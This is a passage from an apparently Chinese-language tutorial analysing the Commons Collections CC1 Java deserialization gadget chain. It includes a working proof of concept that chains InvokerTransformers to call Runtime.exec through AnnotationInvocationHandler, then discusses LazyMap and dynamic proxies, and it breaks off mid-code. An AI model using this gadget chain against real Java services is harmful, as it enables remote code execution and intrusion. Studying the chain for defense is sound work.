rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String[] args)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> Exception </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>        Transformer[] transformers = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(Runtime.class),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getMethod&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{String.class,Class[].class},<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getRuntime&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;invoke&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{Object.class,Object[].class},<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;exec&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{String.class},<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;calc&#34;</span>}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>        };<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span>        Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>                ChainedTransformer(transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>        Map innerMap = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">33</span>        innerMap.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;value&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;xxxx&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">34</span>        Map outerMap = TransformedMap.decorate(innerMap, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">35</span>                transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">36</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">37</span>        Class cls = Class.forName(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">38</span>        Constructor construction = cls.getDeclaredConstructor(Class.class,Map.class);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">39</span>        construction.setAccessible(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">40</span>        Object nob = construction.newInstance(Retention.class,outerMap);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">41</span>        ByteOutputStream bo = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteOutputStream();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">42</span>        ObjectOutputStream op = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectOutputStream(bo);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">43</span>        op.writeObject(nob);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">44</span>        System.out.println(bo);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">45</span>        ObjectInputStream or = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectInputStream(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteInputStream(bo.getBytes(),bo.size()));<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">46</span>        Object readOb = or.readObject();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">47</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">48</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">运行代码，可以看到成功打开计算器：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="719" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.7858136300417247" src="https://wechat2rss.xlab.app/img-proxy/?k=f3096694&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkBc7JibPcic2SyVcgHFSPB9KzRWzbFQwY6D5Ys6Eo71srPCoqzr9Qibbdg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图7</figcaption></figure><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">真正的CC1链</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">上面分析了这么多，其实这并不是真正的CC1利用链，真正的CC1如下：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="861" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.6492450638792102" src="https://wechat2rss.xlab.app/img-proxy/?k=9d9c477b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkbaWRicaoZ9ynexJA2mg9DkxAf4YMvMwrb7qhl94ibCh5EM7iaKFvQmxfA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图8</figcaption></figure><br/>可以看到，ysoserial中没有用TransformedMap，而是用的LazyMap类，查看该类定义，找一下在哪里调用了transform：<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="931" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.17937701396348013" src="https://wechat2rss.xlab.app/img-proxy/?k=c852ac07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkT5V5CbkUxjyHSjPUFXia6jV5GICZdw2xxD7sSqrcfMzkwNmoQBrEp8g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图9</figcaption></figure><br/>发现在该类中的get方法调用了transfrom方法，也就是说这个类通过get来触发我们构造的利用链。<br/>但是如何让AnnotationInvocationHandler类调用get方法呢？看看AnnotationInvocationHandler的定义，发现在invoke方法中调用了get方法：<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="1061" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.7992459943449576" src="https://wechat2rss.xlab.app/img-proxy/?k=557815fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkycE8BPISPOb2OCMUe74kibL7Hyyy1Vju85ciaBvIWHaYaWnM26n3JYHQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图10</figcaption></figure><br/>那么如何让AnnotationInvocationHandler类在反序列化的过程中调用get方法呢？<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">动态代理</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">答案就是java动态代理，通过动态代理可以很方便的拦截对某个对象的某个方法的调用进行拦截。<br/>比如有如下接口：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">interface</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">testFace</span></span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">print</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span></span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Get</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span></span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">put</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span></span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">testClas</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">implements</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">testFace</span></span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">print</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span></span>{System.out.println(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;print runing&#34;</span>);}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Get</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span></span>{System.out.println(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Get runing&#34;</span>);}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">put</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">()</span></span>{System.out.println(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;put runing&#34;</span>);}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">我想对这个接口中的某个方法调用进行拦截，可以通过动态代理的方式来实现。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">testProxyInvoke</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">implements</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">InvocationHandler</span></span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">private</span> testFace ob = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">testProxyInvoke</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(testFace ob)</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>    </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.ob = ob;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">invoke</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit 